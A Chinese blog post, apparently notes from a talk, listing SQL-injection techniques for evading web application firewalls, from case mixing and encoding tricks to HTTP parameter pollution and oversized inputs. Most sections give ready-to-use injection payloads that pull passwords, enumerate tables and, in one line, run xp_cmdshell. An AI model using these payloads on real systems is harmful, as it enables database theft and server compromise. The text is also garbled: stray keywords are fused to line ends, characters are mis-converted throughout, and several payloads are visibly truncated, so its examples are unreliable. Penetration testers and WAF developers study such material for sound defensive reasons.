前些天去聽了從容大神的繞waf姿式分享,受益不淺,看完之後總結一下php
就先從最簡單的繞過方法開始吧(這些方法可能如今已經不適用了,但仍是整理一下,打牢基礎)正則表達式
從目前能找到的資料來看,我把這些繞過waf的技術分爲9類,包含從初級到高級技巧sql
a) 大小寫混合數據庫
b)替換關鍵字express
c)使用編碼瀏覽器
d)使用註釋函數
e)等價函數與命令post
f)特殊符號測試
g)HTTP參數控制ui
h)緩衝區溢出
i)整合繞過
a) 大小寫繞過
大小寫繞過用於只針對小寫或大寫的關鍵字匹配技術,正則表達式/express/i 大小寫不敏感即沒法繞過,這是最簡單的繞過技術
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場景可能的狀況爲filter的規則裏有對大小寫轉換的處理,但不是每一個關鍵字或每種狀況都有處理
b)替換關鍵字
這種狀況下大小寫轉化沒法繞過,並且正則表達式會替換或刪除select、union這些關鍵字,若是隻匹配一次就很容易繞過
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
一樣是很基礎的技術,有些時候甚至構造得更復雜:SeLSeselectleCTecT,不建議對此抱太大指望
c)使用編碼
1.URL編碼
在Chrome中輸入一個鏈接,非保留字的字符瀏覽器會對其URL編碼,如空格變爲 、單引號'、左括號(、右括號)
普通的URL編碼可能沒法實現繞過,還存在一種狀況URL編碼只進行了一次過濾,能夠用兩次編碼繞過:page.php?id=1UNION 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對單個字符十六進制編碼,後者則是對整個字符串編碼,使用上來講較少見一點
3.Unicode編碼
Unicode有所謂的標準編碼和非標準編碼,假設咱們用的utf-8爲標準編碼,那麼西歐語系所使用的就是非標準編碼了
看一下經常使用的幾個符號的一些Unicode編碼:
單引號: %u002七、%u02b九、%u02bc、%u02c八、%u203二、%uff0七、�'、�、�
空格:%u0020、%uff00、� 、�、�
左括號:%u002八、%uff0八、�(、�、�
右括號:%u002九、%uff0九、�)、�、�
舉例:?id=10�‘ AND 1=2#
SELECT 'Ä'='A'; #1
兩個示例中,前者利用雙字節繞過,好比對單引號轉義操做變成\',那麼就變成了�\',�\構成了一個款字節即Unicode字節,單引號能夠正常使用
第二個示例使用的是兩種不一樣編碼的字符的比較,它們比較的結果多是True或者False,關鍵在於Unicode編碼種類繁多,基於黑名單的過濾器沒法處理因此狀況,從而實現繞過
另外平時聽得多一點的多是utf-7的繞過,還有utf-1六、utf-32的繞過,後者從成功的實現對google的繞過,有興趣的朋友能夠去了解下
常見的編碼固然還有二進制、八進制,它們不必定都派得上用場,但後面會提到使用二進制的例子
d) 使用註釋
看一下常見的用於註釋的符號有哪些://, -- , , #, --+,-- -, ;,--a
1.普通註釋
舉例:z.com/index.php?page_id=-15 UnIONSElecT 1,2,3,4
'union�select pass from users#
在構造得查詢語句中插入註釋,規避對空格的依賴或關鍵字識別;#、--+用於終結語句的查詢
2.內聯註釋
相比普通註釋,內聯註釋用的更多,它有一個特性/!**/只有MySQL能識別
舉例:index.php?page_id=-15 1,2,3
?page_id=null all +1,2,3,4…
兩個示例中前者使用內聯註釋,後者還用到了普通註釋。使用註釋一個頗有用的作法即是對關鍵字的拆分,要作到這一點後面討論的特殊符號也能實現,固然前提是包括/、*在內的這些字符能正常使用
e)等價函數與命令
有些函數或命令因其關鍵字被檢測出來而沒法使用,可是在不少狀況下可使用與之等價或相似的代碼替代其使用
1.函數或變量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()沒法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個示例用於說明有時候當某個函數不能使用時,還能夠找到其餘的函數替代其實現,置於select、uinon、where等關鍵字被限制如何處理將在後面filter部分討論
2.符號
and和or有可能不能使用,或者能夠試下&&和||能不能用;還有=不能使用的狀況,能夠考慮嘗試<、>,由於若是不小於又不大於,那邊是等於了
在看一下用得多的空格,可使用以下符號表示其做用: �
3.生僻函數
MySQL/PostgreSQL支持XML函數:Select UpdateXML(‘
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多本身的函數,基於黑名單的filter要想涵蓋這麼多東西從實際上來講不太可能,並且代價太大,看來黑名單技術到必定程度便遇到了限制
f) 特殊符號
這裏我把非字母數字的字符都規在了特殊符號一類,特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
先看下烏雲drops上「waf的繞過技巧」一文使用的幾個例子:
1.使用反引號`,例如select `version()`,能夠用來過空格和正則,特殊狀況下還能夠將其作註釋符用
2.神奇的"-+.",select+id-1+1.from users; 「+」是用於字符串鏈接的,」-」和」.」在此也用於鏈接,能夠逃過空格和關鍵字過濾
3.@符號,select@^1.from users; @用於變量定義如@var_name,一個@表示用戶定義,@@表示系統變量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能作不少事,也證明了那句老話,只有想不到,沒有作不到
本人蒐羅了部分可能發揮大做用的字符(未包括'、*、/等在內,考慮到前面已經出現較屢次了):`、~、!、@、%、()、[]、.、-、+ 、|、
舉例:
關鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell 」net user」’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,」[]」用於表和列,」()」用於數值也能夠作分隔
本節最後在給出一些和這些字符多少有點關係的操做符供參考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些"特殊符號"實現繞過是一件很細微的事情,一方面各家數據庫對有效符號的處理是不同的,另外一方面你得充分了解這些符號的特性和使用方法才能做爲繞過手段
g) HTTP參數控制
這裏HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制
1.HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1unionselectpwdfromusers
HPP又稱作重複參數污染,最簡單的就是?uid=1&uid=2&uid=3
2.HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有類似之處(使用控制字符 、 等執行換行)
舉例:
/?a=1+unionselect+1,passfrom+users--
select * from table where a=1 unionselect 1,passfrom users—
看罷上面兩個示例,發現和HPP最後一個示例很像,不一樣之處在於參數不同,這裏是在不一樣的參數之間進行分割,到了數據庫執行查詢時再合併語句。
h) 緩衝區溢出(Advanced)
緩衝區溢出用於對付WAF,有很多WAF是C語言寫的,而C語言自身沒有緩衝區保護機制,所以若是WAF在處理測試向量時超出了其緩衝區長度,就會引起bug從而實現繞過
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA後面」A"重複1000次,通常來講對應用軟件構成緩衝區溢出都須要較大的測試長度,這裏1000只作參考,在某些狀況下可能不須要這麼長也能溢出
i) 整合繞過
整合的意思是結合使用前面談到的各類繞過技術,單一的技術可能沒法繞過過濾機制,可是多種技術的配合使用成功的可能性就會增長很多了。這一方面來講 是整體與局部和的關係,另外一方面則是多種技術的使用創造了更多的可能性,除非每一種技術單獨都沒法使用,不然它們能產生比自身大得多的能量。
舉例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+++1,2,3,4… id=1+SeLeCT+1,2,concat()+FrOM .tables ++like+database()– - ?id=-725+++1,GrOUp_COnCaT(COLUMN_NAME),3,4 ,5+FROM+.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--